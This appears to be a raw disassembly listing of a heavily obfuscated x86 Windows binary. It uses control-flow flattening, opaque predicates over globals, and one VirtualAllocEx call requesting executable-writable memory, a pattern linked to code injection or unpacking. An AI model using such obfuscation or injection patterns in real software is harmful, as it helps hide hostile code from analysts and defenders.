jmp 0x402100
cmp eax, 0x918d0020
je 0x40d315
cmp eax, 0x9360a302
jne 0x402100
mov eax, 0x63981036
mov dword [ebp - 0x24], 5
jmp 0x402100
cmp eax, 0xbe5d486
je 0x40d31f
cmp eax, 0xe443838
jne 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x807a8043
mov ecx, edx
and ecx, 0x44857100
and edx, 0x3c0ba393
or esi, ecx
mov ecx, eax
xor ecx, 0xc4fff143
and ecx, eax
xor esi, 0x807a8043
and eax, 0xc3f45c6c
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x475ec89a
and esi, 0xb8a13765
or ecx, esi
mov esi, 0x6dbe6244
mov edi, ecx
xor edi, 0x818139d0
xor ecx, 0x7c5ec627
mov edx, ecx
and edx, 0x32660208
and edi, 0xcd99fdf7
or edi, edx
mov edx, eax
xor edx, 0xc1905c64
xor eax, 0x30020200
and eax, 0x32660208
and edx, 0xcd99fdf7
or edx, eax
xor edx, edi
mov edi, 0x6dbe6244
not edx
or edx, ecx
cmp edx, 0xffffffff
setne al
cmp dword [0x4ba778], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov ch, cl
xor dl, 1
or ch, dl
xor dl, cl
mov al, ch
xor al, dl
mov eax, 0xb5209a1c
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
test ch, ch
cmovne eax, esi
jmp 0x402100
cmp eax, 0xd6298fa6
je 0x40d329
cmp eax, 0xd6974753
jne 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa7d9a4c6
and eax, 0x96b92d83
mov esi, ecx
and esi, 0x58265b38
or edx, esi
mov esi, edx
xor esi, 0xa1498042
xor edx, 0x8244311
and edx, 0xeb46795
and esi, 0xf14b986a
or esi, edx
mov edx, ecx
or edx, 0xeb46794
and ecx, 0x6946d27c
and edx, 0xeb46795
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0x96b92d83
xor eax, 0x6946d27c
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
sete ah
setne ch
cmp dword [0x4ba778], 0xa
mov dh, ah
setl cl
setge dl
mov al, cl
xor dh, cl
and dl, ah
or al, ch
and dh, ch
and ch, cl
or cl, ah
xor al, 1
or dl, ch
xor cl, 1
or al, dh
or cl, dl
mov ah, al
mov edx, ecx
mov ch, al
not ah
xor dl, 1
and ah, al
and cl, dl
xor ah, 1
xor cl, 1
xor ch, ah
or ah, al
xor ah, 1
or ah, ch
mov ch, dl
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
mov ch, ah
xor ch, 1
and ch, cl
xor cl, 1
and cl, ah
mov ah, al
xor ah, dl
or dl, al
or cl, ch
xor dl, 1
or dl, ah
mov eax, 0xa1f6e4e8
mov ch, dl
xor ch, cl
test dl, 1
mov edx, 0x6d294be4
cmovne eax, edx
test cl, 1
not ch
cmove eax, edx
test ch, 1
mov edx, 0xa1f6e4e8
cmovne eax, edx
jmp 0x402100
cmp eax, 0x51f945d3
je 0x40d33a
cmp eax, 0x533e670a
jne 0x402100
mov eax, 0x3cc87e3a
jmp 0x402100
cmp eax, 0xb5209a1c
je 0x40d512
cmp eax, 0xb53197dd
jne 0x402100
cmp byte [ebp - 0x59], 0
mov eax, 0x26959c0d
mov ecx, 0xaf09f630
cmovne eax, ecx
jmp 0x402100
cmp eax, 0x32eb8cc2
je 0x40d51c
cmp eax, 0x32ec843a
jne 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
and ecx, 0x645ac0c0
and esi, 0x9ba53f3f
or esi, ecx
mov edx, esi
mov ecx, esi
xor edx, 0x645ac0c0
xor ecx, 0x9ba53f3f
xor esi, 0xe9c70d3c
mov eax, edx
and esi, ecx
and eax, 0x72623203
and edx, 0x23714b4d
or eax, esi
mov esi, eax
not esi
and eax, 0x2650e829
and esi, 0xd9af17d6
or eax, esi
mov esi, ecx
and esi, 0xdc8eb4b2
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x20704044
xor esi, 0x98862412
or ecx, edx
mov edx, eax
xor edx, 0x88880144
and esi, 0x9b872f1a
xor eax, 0x5432da2b
and ecx, 0x6478d0e5
and edx, 0xd8aa4b4d
or ecx, esi
mov esi, eax
and esi, 0x2755b4b2
or edx, esi
mov esi, ecx
xor esi, 0x40284045
xor ecx, 0x9b872f1a
or eax, ecx
and ecx, 0x2755b4b2
and esi, 0xd8aa4b4d
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x872d5a9
mov ecx, eax
not ecx
and eax, 0x7636afd6
and ecx, 0x89c95029
or eax, ecx
mov ecx, eax
xor ecx, 0x16140c40
xor eax, 0x8090000
and eax, 0x682ba396
and ecx, 0x97d45c69
or ecx, eax
mov eax, ecx
xor eax, 0x92045409
xor ecx, 0x8298384
and ecx, 0xdf98be4
and eax, 0xf206741b
or eax, ecx
xor eax, 0xf206741b
setne ah
sete ch
cmp dword [0x4ba778], 0xa
mov cl, ah
setge al
setl dl
xor cl, al
mov dh, al
and ah, dl
and al, ch
or dl, ch
or al, ah
mov ah, dl
and cl, ch
or dh, ch
xor al, 1
xor cl, 1
xor ah, al
or al, dl
mov ebx, ecx
or cl, dh
xor al, 1
xor bl, dh
xor cl, 1
or al, ah
or cl, bl
mov edx, eax
xor dl, 1
mov ch, dl
or dl, cl
and ch, al
xor dl, 1
xor ch, 1
mov ah, ch
or ch, al
xor ah, al
xor ch, 1
or ch, ah
mov ah, ch
xor ch, 1
and ch, cl
xor cl, 1
and ah, cl
xor cl, al
or dl, cl
or ch, ah
mov eax, edx
xor al, ch
test al, 1
mov eax, 0x77a42f07
cmovne esi, eax
test dl, 1
mov eax, 0x872d5a9
jmp 0x40cfb9
cmp eax, 0xf2fe5e76
je 0x40d526
cmp eax, 0xf371de3f
jne 0x402100
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xa8]
cmp ecx, dword [eax + 0x34]
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
setne byte [ebp - 0x53]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
mov edx, ecx
and edx, 0x8ed6e5fc
and eax, ecx
not ecx
mov esi, ecx
and esi, 0x71291a02
or edx, esi
mov esi, 0x8a162ccf
xor edx, 0x8ed6e5fc
or eax, edx
mov edx, eax
not edx
and eax, 0xb231d8c7
and edx, 0x4dce2738
or eax, edx
xor eax, 0xb231d8c7
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6de7c652
and ecx, 0x921839ad
or eax, ecx
xor eax, 0x6de7c652
sete ah
setne ch
cmp dword [0x4ba778], 0xa
setl cl
setge al
or ah, cl
xor cl, ch
xor cl, 1
or cl, al
xor al, ch
mov edx, ecx
and al, ah
xor dl, 1
mov ah, al
and cl, dl
mov ch, dl
xor ah, 1
xor cl, 1
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
mov ch, cl
and cl, al
xor ch, 1
and ch, ah
mov ah, dl
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xdc290553
cmovne eax, esi
test cl, cl
mov ecx, 0xdc290553
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402100
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb0]
mov eax, 0x90073b9
jmp 0x402100
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x160], eax
mov eax, 0xff28319b
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0xc0010080
not edx
mov esi, edx
or esi, 0x200c4202
and ecx, 0xe00d4282
and edx, 0x7f2b509
or edx, ecx
mov ecx, eax
and esi, 0xe00d4282
and ecx, 0x18000874
or ecx, esi
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0x27fef70a
and edx, 0xd80108f5
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0x69427666
xor edx, ecx
test edx, ecx
setne ah
sete ch
cmp dword [0x4ba778], 0xa
mov al, ah
mov dh, ch
setge cl
setl dl
xor al, cl
or dh, cl
and ah, dl
or dl, ch
and al, cl
and cl, ch
mov bl, dh
or cl, ah
xor al, 1
xor cl, 1
xor bl, al
or al, dh
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or al, bl
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
mov ah, al
xor ah, 1
and cl, ah
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
mov ah, al
or cl, ch
xor ah, dl
xor cl, dl
or dl, al
xor dl, 1
or dl, ah
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x5f1f225c
cmovne esi, eax
test dl, 1
mov eax, 0x69427666
cmovne eax, esi
test cl, 1
cmove eax, esi
jmp 0x402100
mov eax, dword [ebp - 0x16c]
mov ecx, 0xd6298fa6
cmp dword [eax], 0
mov eax, 0x31d4152f
cmove eax, ecx
jmp 0x402100
cmp byte [ebp - 0x5c], 0
mov eax, 0xbb006438
mov ecx, 0x84dfd059
cmovne eax, ecx
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 1
not edx
and eax, 0x603fd5b8
mov esi, edx
and ecx, 0x93684d8b
and esi, 0x6c97b274
or esi, ecx
mov ecx, edx
or ecx, 0x93684d8a
and edx, 0x9fc02a47
and ecx, 0x93684d8b
or eax, edx
xor ecx, esi
mov edi, eax
xor edi, 0x402fd130
xor eax, 0x3802201
mov edx, ecx
not edx
and ecx, 0xdc6fd976
and eax, 0x23902689
and edi, 0xdc6fd976
mov esi, edx
and esi, 0x23902689
or edi, eax
or ecx, esi
xor edi, ecx
not edi
or edi, edx
xor edi, 0xffffffff
setne cl
sete al
cmp dword [0x4ba778], 0xa
mov ch, cl
setl dl
setge ah
and dl, cl
and al, ah
or ch, ah
or al, dl
mov cl, ch
mov edx, eax
not cl
and al, ch
xor dl, 1
and cl, dl
or dl, ch
or cl, al
mov ch, dl
mov eax, 0xbcb07bbd
xor ch, cl
test dl, dl
mov edx, 0x9aa16053
cmovne eax, edx
test cl, cl
cmove eax, edx
test ch, ch
mov edx, 0xbcb07bbd
cmove eax, edx
jmp 0x402100
mov eax, 0x17aa29d6
jmp 0x402100
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x74]
mov esi, 0x9579b32
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x48]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x17c], eax
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x23c9512c
and ecx, 0xdc36aed3
or edx, ecx
xor edx, 0x23c9512c
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x383af44f
and ecx, 0xc7c50bb0
or eax, ecx
mov ecx, eax
xor ecx, 0x10800a
xor eax, 0x3c40a20
and eax, 0x3bee7e65
and ecx, 0xc411819a
or ecx, eax
mov eax, ecx
xor eax, 0x3be03264
xor ecx, 0xc0010090
and ecx, 0xc00f4c91
and eax, 0x3ff0b36e
or eax, ecx
mov ecx, eax
xor ecx, 0x3c400348
xor eax, 0xc00b0410
and eax, 0xc3bbb436
and ecx, 0x3c444bc9
or ecx, eax
xor ecx, 0x3c444bc9
sete cl
setne ah
cmp dword [0x4ba778], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov ah, ch
xor al, 1
xor ah, dl
and ah, ch
xor ah, 1
mov cl, ah
xor cl, al
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x4db7d0f3
cmovne eax, esi
test cl, cl
cmove eax, esi
mov esi, dword [ebp - 0x44]
test dl, 1
mov edx, 0x4db7d0f3
cmove eax, edx
mov dword [ebp - 0x180], esi
jmp 0x402100
mov eax, 0x32eb8cc2
jmp 0x402100
mov ecx, dword [0x4ba77c]
mov edi, 0xea66ba6d
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
or esi, 0xa2440048
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x1d20ef83
and ecx, eax
and esi, 0xae4442cb
and edx, 0x1120ad00
or edx, esi
mov esi, ecx
not esi
and ecx, 0x51bbbd34
or eax, esi
and esi, 0xae4442cb
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xe2df107c
and eax, 0x1d20ef83
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x4648d340
and eax, 0xb9b72cbf
or ecx, eax
mov eax, ecx
xor eax, 0x4040d200
xor ecx, 0xb9b72cbf
mov esi, ecx
and esi, 0xaf2c09eb
and eax, 0x50d3f614
or eax, esi
mov esi, edx
not esi
and edx, 0x50d3f614
or ecx, esi
and esi, 0xaf2c09eb
or edx, esi
not ecx
mov esi, 0xea66ba6d
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xc1c2253e
mov edx, eax
and edx, 0x3e3ddac1
or ecx, edx
xor ecx, 0xc1c2253e
or ecx, eax
xor ecx, 0xffffffff
setne cl
sete ah
cmp dword [0x4ba778], 0xa
setge ch
setl dl
mov al, ch
and cl, dl
and ch, ah
or dl, ah
or ch, cl
xor dl, 1
xor al, ah
or dl, ch
mov ecx, eax
mov ah, dl
mov ch, dl
xor cl, 1
not ah
and ah, dl
xor ah, 1
xor ch, ah
or ah, dl
xor ah, 1
or ah, ch
mov dl, ah
and ah, al
xor dl, 1
or al, dl
and dl, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xe63a47f5
cmovne esi, ecx
test dl, dl
mov ecx, esi
cmovne ecx, edi
test al, 1
mov eax, dword [ebp - 0x3c]
cmovne ecx, esi
mov dword [ebp - 0x194], eax
mov eax, ecx
jmp 0x402100
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x188], eax
mov eax, 0xa32da38a
jmp 0x402100
mov eax, dword [ebp - 0xfc]
add eax, 0x18
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x28]
add eax, 0x14
mov dword [ebp - 0x104], eax
mov eax, 0xa0ed4ebc
jmp 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xeb55d23b
and eax, 0x14aa2dc4
or ecx, eax
mov eax, ecx
xor eax, 0xeb55d23b
mov edi, ecx
xor ecx, 0xfe1c8632
xor edi, 0x14aa2dc4
mov edx, eax
or edx, 0xeab6abf6
mov esi, edi
and ecx, eax
and esi, 0x5405009
or edi, 1
and eax, 0x6b6325a6
mov ebx, edx
and ebx, 0xf03925c4
or esi, ebx
mov ebx, ecx
not ebx
and ecx, 0xfc6da3b
or edx, ebx
and ebx, 0xf03925c4
or ecx, ebx
not edx
xor ecx, esi
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x15495408
and ecx, 0xeab6abf7
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x6b6325a7
mov esi, ecx
or ecx, edi
and esi, 0x949cda58
and edi, 0x949cda58
or edx, esi
or eax, edi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0xc802800
and ecx, 0x206014a2
mov edx, eax
or edx, 0x801ac051
and esi, 0x8c9ae851
and eax, 0x5305030c
and edx, 0x8c9ae851
or eax, esi
mov esi, 0xddb9cfac
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0xb0114088
and eax, 0x4feebf77
or ecx, eax
mov eax, ecx
xor eax, 0x61048201
xor ecx, 0x8412408
and ecx, 0xa4b25dc
and eax, 0xf5b4da23
or eax, ecx
xor eax, 0xa4b25dc
sete ah
setne al
cmp dword [0x4ba778], 0xa
setge cl
setl ch
mov edx, ecx
or cl, al
xor dl, al
xor al, ch
xor cl, 1
and dl, ah
not al
and al, ch
xor dl, 1
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x6a94ad0c
cmovne ecx, esi
test al, 1
mov eax, 0x6a94ad0c
jmp 0x4020f0
mov ecx, dword [0x4ba77c]
mov dword [ebp - 0x38], 4
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x44928670
and eax, 0x40c02262
mov edx, ecx
and edx, 0xbb6d798f
or ecx, 0x902f0081
or esi, edx
and ecx, 0x982f8c8d
mov edx, esi
xor esi, 0x902d0081
xor edx, 0x4100010
or eax, ecx
or esi, 0x8008c0c
and edx, 0x27105110
and esi, 0x982f8c8d
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xb73f5191
and ecx, 0x48c0ae6e
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xd2b9266a
and eax, 0x237bdc7d
and ecx, 0x2d46d995
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0xd2b9266a
xor esi, 0xf1c2fa17
xor edx, 0xd404091
and esi, ecx
and edx, 0xcf5060fb
or eax, esi
mov esi, eax
not esi
and eax, 0x82c80623
and esi, 0x7d37f9dc
or eax, esi
mov esi, ecx
and esi, 0x30af9f04
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0xc0106070
xor esi, 0x10a49e04
or ecx, edx
mov edx, eax
xor edx, 0x58080500
and esi, 0x1fe49e8e
xor eax, 0xa1b3da5f
and ecx, 0xe01b6171
and edx, 0x5808df0d
or ecx, esi
mov esi, eax
and esi, 0xa7f720f2
or edx, esi
mov esi, ecx
xor esi, 0x40084101
xor ecx, 0x1fe49e8e
or eax, ecx
and ecx, 0xa7f720f2
and esi, 0x5808df0d
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xe4999d06
and eax, 0xc0081120
mov edx, ecx
and edx, 0x1b6662f9
or ecx, 0x22e62218
or esi, edx
and ecx, 0x36e726db
mov edx, esi
xor esi, 0x2662218
xor edx, 0x108804
or eax, ecx
or esi, 0x140104c3
and edx, 0x910c804
and esi, 0x36e726db
or edx, esi
mov esi, 0xdaf60d45
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x2bf6ea1c
and ecx, 0xd40915e3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x82d4af67
and ecx, 0x7d2b5098
or ecx, eax
mov eax, ecx
xor eax, 0x2442147
xor ecx, 0x2c204018
and ecx, 0xacb0ce38
and eax, 0x534f31c7
or eax, ecx
cmp eax, 0x534f31c7
setne cl
cmp dword [0x4ba778], 0xa
mov ah, cl
setl dl
setge al
or al, cl
xor cl, dl
or ah, dl
not cl
xor ah, 1
and cl, dl
mov edx, eax
or cl, ah
not dl
mov ah, cl
and cl, al
xor ah, 1
or al, ah
and ah, dl
or ah, cl
mov ecx, 0x63e4e06e
mov dl, ah
xor dl, al
test ah, ah
cmovne ecx, esi
test al, al
mov eax, 0x63e4e06e
cmovne ecx, eax
test dl, 1
cmove ecx, esi
mov eax, ecx
jmp 0x402100
mov eax, 0x9b955584
mov dword [ebp - 0x24], 7
jmp 0x402100
mov dword [ebp - 0x9c], 0
mov eax, 0x337ae148
jmp 0x402100
push 0x40
push 0x3000
push dword [ebp - 0xf8]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, 0xd429143f
jmp 0x402100
mov eax, 0xa9f6bfcf
jmp 0x402100
cmp dword [ebp - 0x3c], 0
mov eax, 0x38b7ae1f
sets byte [ebp - 0x58]
jmp 0x402100
mov ecx, dword [0x4ba77c]
mov dword [ebp - 0x38], 0x20
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0xce428a89
not edx
mov esi, edx
or esi, 0x10982122
and ecx, 0xdedaabab
and edx, 0x20010010
or edx, ecx
mov ecx, eax
and esi, 0xdedaabab
and ecx, 0x1245444
or ecx, esi
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0x946907d
and edx, 0xf6b96f82
or ecx, edx
mov edx, ecx
xor edx, 0x39dfb14e
xor ecx, 0xc6204eb1
andn esi, eax, ecx
and edx, eax
or edx, esi
mov esi, 0x9f3b272d
not edx
or edx, ecx
xor edx, 0xffffffff
setne dl
sete cl
cmp dword [0x4ba778], 0xa
setge al
setl ah
mov ch, al
or al, dl
xor ah, cl
xor al, 1
inc ch
xor cl, ch
or al, ah
xor ah, 1
or ch, dl
and cl, dl
mov dl, ah
xor dl, al
or al, ah
xor cl, 1
xor al, 1
mov dh, cl
or cl, ch
or al, dl
xor dh, ch
xor cl, 1
mov ah, al
or cl, dh
xor ah, 1
mov ch, cl
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov eax, edx
xor al, ch
test al, 1
mov eax, 0x3590806e
cmovne esi, eax
test dl, 1
mov eax, 0x9f3b272d
cmovne eax, esi
test ch, 1
cmove eax, esi
jmp 0x402100
mov eax, dword [ebp - 0x144]
movzx eax, word [eax]
mov word [ebp - 0x90], ax
mov eax, 0x638ab82f
jmp 0x402100
mov dword [ebp - 0x40], 0
mov eax, 0xf7d2b0fe
jmp 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
andn eax, ecx, ecx
mov edx, ecx
not edx
mov edi, ecx
and edi, 0x54c3152a
mov esi, eax
not esi
and edx, 0xab3cead5
and eax, 0xab3cead5
or ecx, esi
and esi, 0x54c3152a
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x4e92df6d
mov esi, edx
and eax, ecx
and esi, 0x4e92df6d
mov edi, edx
and ecx, 0x41c51cd4
and edi, 0xbe3ae32b
and edx, 1
or eax, esi
or edi, ecx
mov esi, eax
not esi
and eax, 0xf6d0ea5d
mov ecx, edi
xor ecx, 0x41c51cd5
xor edi, 0x9c1ae00a
and esi, 0x92f15a2
or edx, ecx
and edi, 0xdddff04a
or eax, esi
mov esi, 0xff3bf35a
mov ebx, eax
xor ebx, 0x98423000
xor eax, 0x47bdcace
mov ecx, eax
or eax, edx
and edx, 0x22200fb5
and ecx, 0x22200fb5
and ebx, 0xdddff04a
or ebx, ecx
or edi, edx
not eax
xor edi, ebx
or eax, edi
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x4ba778], 0xa
mov al, ah
mov dh, ah
setge cl
setl dl
inc al
and cl, ch
mov ch, al
or al, dl
and ch, ah
xor al, 1
xor ch, 1
xor dh, ch
or ch, ah
and ah, dl
xor ch, 1
or cl, ah
or ch, dh
mov ah, cl
xor ch, dl
mov edx, ecx
or al, ch
xor dl, 1
and ah, al
xor al, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xbb50f54f
cmovne eax, esi
test dl, dl
mov edx, 0xbb50f54f
cmove eax, esi
mov esi, dword [ebp - 0x48]
test cl, 1
cmove eax, edx
mov dword [ebp - 0x18c], esi
jmp 0x402100
mov eax, 0x7a18ff76
jmp 0x402100
mov ebx, dword [ebp - 0x3c]
mov eax, ebx
not eax
mov ecx, ebx
and ecx, 0xa96c2854
mov edx, eax
and edx, 0x5693d7ab
and eax, 0xd03042e4
or ecx, edx
mov edx, ebx
xor edx, 0xb3fe06d1
mov edi, ecx
xor ecx, 0x12920681
xor edi, 0x21640010
and edx, ebx
or ecx, 0x4c01f92e
and edi, 0x23760291
mov esi, ecx
and esi, 0x9889b44e
or edi, esi
mov esi, edx
not esi
and edx, 0x67764bb1
or ecx, esi
and esi, 0x9889b44e
or edx, esi
not ecx
xor edx, edi
mov edi, ebx
and edi, 0x2fcfbd1b
or ecx, edx
or eax, edi
mov edx, ecx
not edx
and ecx, 0xb267b28e
and edx, 0x4d984d71
or ecx, edx
mov edx, ecx
xor ecx, 0xd02042a0
xor edx, 0x2199b45f
mov esi, edx
and esi, 0x2fcfbd1b
and ecx, 0xd03042e4
or edx, ebx
or ecx, esi
not edx
xor eax, ecx
or edx, eax
mov eax, edx
not eax
and edx, 0xca669459
and eax, 0x35996ba6
or edx, eax
mov eax, 0xd7e3e55f
cmp edx, 0xca669459
setne byte [ebp - 0x5b]
jmp 0x402100
mov eax, dword [0x4ba77c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xbc86cb9e
and edx, 0x43793461
mov esi, ecx
not esi
and ecx, 0xe228af82
or eax, edx
mov edx, eax
xor edx, 0xa0008b82
xor eax, 0x43793461
mov edi, eax
or eax, esi
and esi, 0x1dd7507d
and edi, 0x1dd7507d
and edx, 0xe228af82
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x75908031
mov esi, ecx
mov edi, ecx
or esi, 0x88005044
and edx, 0xfd90d075
and edi, 0x6e2b82
or ecx, 1
or edi, edx
mov edx, eax
and esi, 0xfd90d075
and edx, 0x2010408
and eax, 0x4056a4fc
and ecx, 0xbfa95b03
or edx, esi
or ecx, eax
xor edx, edi
mov esi, edx
not esi
and edx, 0x886e7bc7
and esi, 0x77918438
or edx, esi
mov eax, edx
not eax
and edx, 0x9a497c1f
mov esi, eax
and esi, 0x65b683e0
or edx, esi
mov esi, ecx
xor esi, 0x9a095802
xor ecx, 0x4056a4fc
or eax, ecx
and ecx, 0x65b683e0
and esi, 0x9a497c1e
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xa4e899db
and edx, 0x5b176624
or edx, esi
mov esi, ecx
not esi
and ecx, 0x5b176624
or eax, esi
and esi, 0xa4e899db
or ecx, esi
not eax
mov esi, 0x6a6cf2a9
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x59134810
mov edx, ecx
and edx, 0xa6ecb7ef
or eax, edx
xor eax, 0xa6ecb7ef
xor ecx, eax
test ecx, eax
setne dl
sete al
cmp dword [0x4ba778], 0xa
setge ch
setl ah
mov cl, ch
or dl, ah
xor cl, al
xor al, ah
xor dl, 1
xor cl, 1
and al, ah
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xe4670132
cmovne ecx, esi
test al, al
mov esi, 0xe4670132
jmp 0x40a2e0
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xca7cc478
and ecx, 0x35833b87
or eax, ecx
mov edi, eax
xor edi, 0xc83c4040
xor eax, 0x25020102
and eax, 0x2742853a
and edi, 0xd8bd7ac5
or edi, eax
mov esi, edi
mov ebx, edi
xor esi, 0x23028002
xor ebx, 0xd8bd7ac5
xor edi, 0x400012
mov eax, ebx
and eax, 0x46c173d
and esi, 0xfb93e8c2
or ebx, 0x5a9347ec
and edi, 0x681813
or esi, eax
mov eax, esi
mov ecx, esi
xor eax, 0xfb93e8c2
xor ecx, 0x5eff50d1
xor esi, 0x4641235
and ecx, eax
and esi, 0x8d74f2f5
mov edx, ecx
not edx
and ecx, 0x1ae91f13
mov dword [ebp - 0x34], edx
and dword [ebp - 0x34], 0xe516e0ec
or edx, ebx
and ebx, 0xe516e0ec
add ecx, dword [ebp - 0x34]
or edi, ebx
not edx
xor edi, ecx
or edx, edi
mov ecx, edx
not ecx
and edx, 0x5a9347ed
and ecx, 0xa56cb812
or edx, ecx
mov ecx, eax
and ecx, 0x728b0d0a
and eax, 1
or ecx, esi
mov esi, 0x9aa16053
xor ecx, 0x8d74f2f4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6a901e00
and ecx, 0x956fe1ff
or eax, ecx
xor eax, 0x6a901e00
or eax, edx
mov ecx, eax
not ecx
and eax, 0xdf6b0f76
and ecx, 0x2094f089
or ecx, eax
mov eax, ecx
xor eax, 0x99610012
xor ecx, 0x2094f089
mov edx, ecx
and edx, 0x469e8fe4
and eax, 0xb961701b
or eax, edx
xor eax, 0x469e8fe4
xor ecx, eax
test ecx, eax
setne ah
sete ch
cmp dword [0x4ba778], 0xa
setge cl
setl dl
mov al, cl
xor dl, ah
xor al, ch
or ch, cl
not al
and al, cl
xor al, 1
mov dh, al
or al, ch
xor dh, ch
mov ch, cl
or cl, ah
xor al, 1
xor ch, ah
xor cl, 1
mov ah, dl
or al, dh
or cl, ch
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x69df85b
cmovne eax, esi
